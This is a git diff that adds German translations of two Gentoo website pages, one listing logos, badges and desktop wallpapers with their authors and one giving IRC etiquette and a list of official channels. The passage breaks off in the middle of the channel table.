+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/graphics.xml,v 1.1 2008/10/07 17:58:14 keytoaster Exp $ -->
+
+<mainpage>
+<title>Gentoo Linux Grafiken</title>
+
+<author title="Vorheriger Chef-Architekt">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="micm@micm.eu">Michael Münch</mail>
+</author>
+
+<abstract>
+Auflistung verschiedener grafischer Ressourcen zur Nutzung unter den Bedingungen
+der Gentoo Name and Logo Usage Guidelines
+</abstract>
+
+<license/>
+
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Gentoos markengeschützte Grafiken</title>
+<section>
+<title>Nutzungsbedingungen</title>
+<body>
+
+<p>
+Die Grafiken auf dieser Seite wurden von verschiedenen Urhebern erstellt, die
+Ihnen die Genehmigung erteilen die Grafiken nach Belieben zu nutzen und zu
+verändern. Die Nutzung des Namens und des Logos von Gentoo werden durch die <uri
+link="/main/en/name-logo.xml">Gentoo Name and Logo Usage Guidelines</uri>
+geregelt.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mitarbeiten</title>
+<body>
+
+<p>
+Wenn Sie eine Grafik zu Gentoo beitragen möchten, benutzen Sie bitte zuerst
+das <uri link="http://forums.gentoo.org">Gentoo Forum</uri>, um so anderen die
+Gelegenheit zu geben, Anmerkungen zu verfassen und Ihnen zu helfen, die Qualität
+der Grafik zu verbessern. Danach kontaktieren Sie das <mail
+link="www@gentoo.org">Gentoo WWW Team</mail> in englischer Sprache und bitten
+darum, Ihre Grafik hier einzufügen.
+</p>
+
+<p>
+Das Team kann entscheiden, die Grafik nicht einzufügen, wenn sie einer schon
+existierenden Grafik zu sehr ähnelt, nicht in einer ausreichend großen Auflösung
+vorhanden ist, nicht zu der Art von Gentoo passt (zum Beispiel weil sie anstößig
+ist) oder aus anderen Gründen.
+</p>
+
+<p>
+Das Einbinden der Grafik auf dieser Seite kann etwas Zeit in Anspruch nehmen,
+bitte haben Sie daher etwas Geduld.
+</p>
+
+</body>
+</section>
+<section>
+<title>Verschiedene Gentoo Grafiken</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">G Logo im svg-Format zur Verfügung gestellt
+von Lennart Andre Rolland</uri>
+</p>
+
+<p>
+<uri link="/images/gentoo-openbsd.png">Gentoo/OpenBSD Logo im png-Format zur
+Verfügung gestellt vom Gentoo Artwork Projekt</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux Badges</title>
+<body>
+
+<p>
+<b>Lassen Sie die Welt wissen, dass Sie Gentoo Linux benutzen.</b>
+</p>
+
+<p>
+Setzen Sie ein <e>Powered by Gentoo</e> Bild auf Ihre Gentoo basierende Website
+oder benutzen Sie ein <e>Gentoo Badge</e> auf Ihrer Webseite, in Ihrem Blog, in
+Ihrer Forensignatur oder wo auch immer Sie es sich vorstellen können und
+verlinken Sie zurück zu <uri
+link="http://www.gentoo.org">http://www.gentoo.org</uri> - helfen Sie uns,
+Gentoo Linux auf der ganzen Welt zu verbreiten! Sagen Sie anderen, wie zufrieden
+Sie mit Gentoo Linux sind.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Klein</uri> -
+    <uri link="/images/powered.png">Medium</uri> -
+    <uri link="/images/powered-big.png">Groß</uri>
+  </ti>
+  <ti>
+    von Sascha Schwabbauer
+  </ti>
+  <ti>
+    von Ralph Jacobs
+  </ti>
+  <ti>
+    von Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/hardened-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    von <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    von <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    von <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti>
+    von <uri link="http://www.liquidustech.com/">Matthew Summers</uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux Hintergrundbilder</title>
+<body>
+
+<p>
+<b>Versehen Sie Ihren Desktop mit einem schönen Gentoo Hintergrundbild und
+zeigen Sie Ihren Kollegen, dass Sie Gentoo Linux benutzen.</b>
+</p>
+
+<p>
+Benutzen Sie eines dieser <e>Gentoo Hintergrundbilder</e>, um Ihren Desktop zu
+verschönern. Zeigen Sie jedem, dass Sie stolzer Benutzer von Gentoo Linux sind.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> -
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    von <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    von Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    von Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    von Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> -
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    -
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    von Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    von <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/de/irc.xml b/xml/htdocs/main/de/irc.xml
new file mode 100644
index 00000000..39716546
--- /dev/null
+++ b/xml/htdocs/main/de/irc.xml
@@ -0,0 +1,568 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/irc.xml,v 1.6 2010/05/15 12:55:27 keytoaster Exp $ -->
+
+<mainpage lang="de">
+<title>Gentoo Linux IRC Ressourcen</title>
+<author title="Bearbeiter">
+  Colin Morey
+</author>
+<author title="Bearbeiter">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="micm@gentoo.org">Michael Münch</mail>
+</author>
+
+<abstract>
+Die offiziellen Gentoo-IRC-Channel
+</abstract>
+
+<license/>
+
+<version>1.38</version>
+<date>2010-04-05</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>Alle unsere offiziellen IRC-Channel finden Sie auf <uri
+link="http://www.freenode.net/">Freenode</uri></b>.
+</p>
+
+<p>
+Alle unsere Channel werden von Freiwilligen im beiderseitigen Nutzen für die
+Benutzer und Entwickler geführt, dabei sehen wir IRC als offen für jedermann
+an. Zögern Sie nicht hereinzukommen und sich vorzustellen und erwägen Sie IRC
+als eine Hilfsquelle, wenn Sie auf Probleme stoßen oder Fragen zu Gentoo Linux
+haben.
+</p>
+
+<p>
+Wir erwarten von unseren Besuchern der Support-Channel auf Freenode nicht viel:
+</p>
+
+<ul>
+  <li>
+    Bitte verhalten Sie sich vernünftig und reif, getreu dem <uri
+    link="/proj/en/council/coc.xml">Verhaltenskodex</uri>.
+  </li>
+  <li>
+    Bitte lesen Sie das Topic, wenn Sie einen Channel betreten. Es enthält
+    wertvolle Informationen!
+  </li>
+  <li>
+    Bots oder Skripte, die reden, sind in den meisten Channels nicht gerne
+    gesehen. Im Zweifelsfall fragen Sie bitte.
+  </li>
+  <li>
+    Bitte benutzen Sie nicht <c>CTCP VERSION</c> oder ähnliches auf Benutzer
+    oder Channel ohne deren Zustimmung.
+  </li>
+  <li>
+    Bitte beachten Sie, dass wir eine jugendfreie Sprache in #gentoo erwarten,
+    auch Fluchen ist nicht gestattet.
+  </li>
+  <li>
+    Bitte beachten Sie auch, das wir keine alternativen Paketmanager
+    in #gentoo, unterstützen, ausschließlich Portage!
+  </li>
+</ul>
+
+<p>
+Es sollte beachtet werden, dass wir <b>keine</b> Unterstützung für abgeleitete
+Distributionen, basierend auf Gentoo Linux, anbieten.
+</p>
+
+<table>
+<tr>
+  <th>Primäre Support-Channel (Englisch)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>
+    Haben Sie Probleme mit Ihrer Installation oder ein Problem mit Xorg?
+    Probieren Sie #gentoo aus!
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>
+    Diskussionen über die produktive Entwicklung von Gentoo Linux, benötigt
+    voice (+v)
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-groupcontacts">#gentoo-groupcontacts</uri>
+  </ti>
+  <th>
+    Gentoo Group Contacts ist der offizielle Weg um einen Freenode Cloak oder
+    Channel zu beantragen oder um Probleme zu berichten
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>
+    Fragen oder Beschwerden über die Regeln in #gentoo sowie Bans werden
+    ausschließlich hier behandelt
+  </th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Support-Channel für Architekturen &amp; Plattformen (Englisch)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev</uri>
+  </ti>
+  <th>Gentoo Linux/AMD64 Entwickler-Channel</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-powerpc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC (PPC und PPC64)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Gentoo Linux/x86 Entwicklung</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th><b>Allgemeine &amp; Entwicklungs-Channel (Englisch)</b></th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+    Das <uri link="/proj/en/desktop/accessibility">Accessibility</uri> Projekt
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+  <th>Chat bezüglich der Entwicklung von Gentoo Apache</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Gentoo BugDay Ereignisse, Gentoo Bug Fixing</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri>
+  </ti>
+  <th>Clustering von Gentoo Linux</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri>
+  </ti>
+  <th><uri link="/proj/en/council">Gentoo Council</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri>
+  </ti>
+  <th>Informationen zu Gentoo CVS/SVN-Commits in Echtzeit</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>Datenbankbezogene Pakete und Diskussionen</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri>
+  </ti>
+  <th>Entwickler &amp; Benutzer, alles rund um den Desktop</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri>
+  </ti>
+  <th>Arbeitsplatz für Ebuild-Autoren</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>Das <uri link="/proj/en/devrel">Developer Relations</uri> Projekt</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Entwicklung der Gentoo Dokumentationen</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri>
+  </ti>
+  <th>Embedded Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+  <th>Planung und Livechats von Gentoos öffentlichen Veranstaltungen</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Chat bezüglich der Gentoo Foren</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>Diskussionen über native Spiele auf Gentoo Linux (nicht Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Gentoo GUIs Projekt</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri>
+  </ti>
+  <th>Hardened Gentoo Linux</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri>
+  </ti>
+  <th>Haskell Pakete</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>Chat bezüglich Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>KDE Paketbetreuung</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+  <th>Diskussionen über die Gentoo Kernel Entwicklung</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gmn">#gentoo-gmn</uri></ti>
+  <th>Gentoos monatlicher Newsletter</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Chat bezüglich Laptops</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Chat bezüglich Gentoo Lisp</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Gentoo Multimedia Entwicklung</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri>
+  </ti>
+  <th>Chat bezüglich Gentoo Spiegelserver und ihre Administration</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri>
+  </ti>
+  <th>Mail-bezogene Pakete</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Pakete bezüglich Netzwerkmonitoring</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Alles rund um Perl auf Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>Gentoo PHP Diskussionen/Support</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri>
+  </ti>
+  <th>Entwicklung von Gentoo Portage</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th>Das <uri link="/proj/en/pr">Public Relations</uri> Projekt</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th>
+    Das <uri link="/proj/en/gentoo-alt/prefix/">Gentoo Prefix</uri> Projekt
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Gentoo Python Diskussionen/Support</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th>Gentoo <uri link="/proj/en/qa">Qualitätssicherung</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+  <th>Interne Diskussionen des Gentoo Release Engineering Teams</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby auf Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri>
+  </ti>
+  <th>Projekt für wissenschaftliche Anwendungen unter Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri>
+  </ti>
+  <th>Diskussionen über die Sicherheit von Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>Chat rund um Server</th>
+</tr>
+<tr>
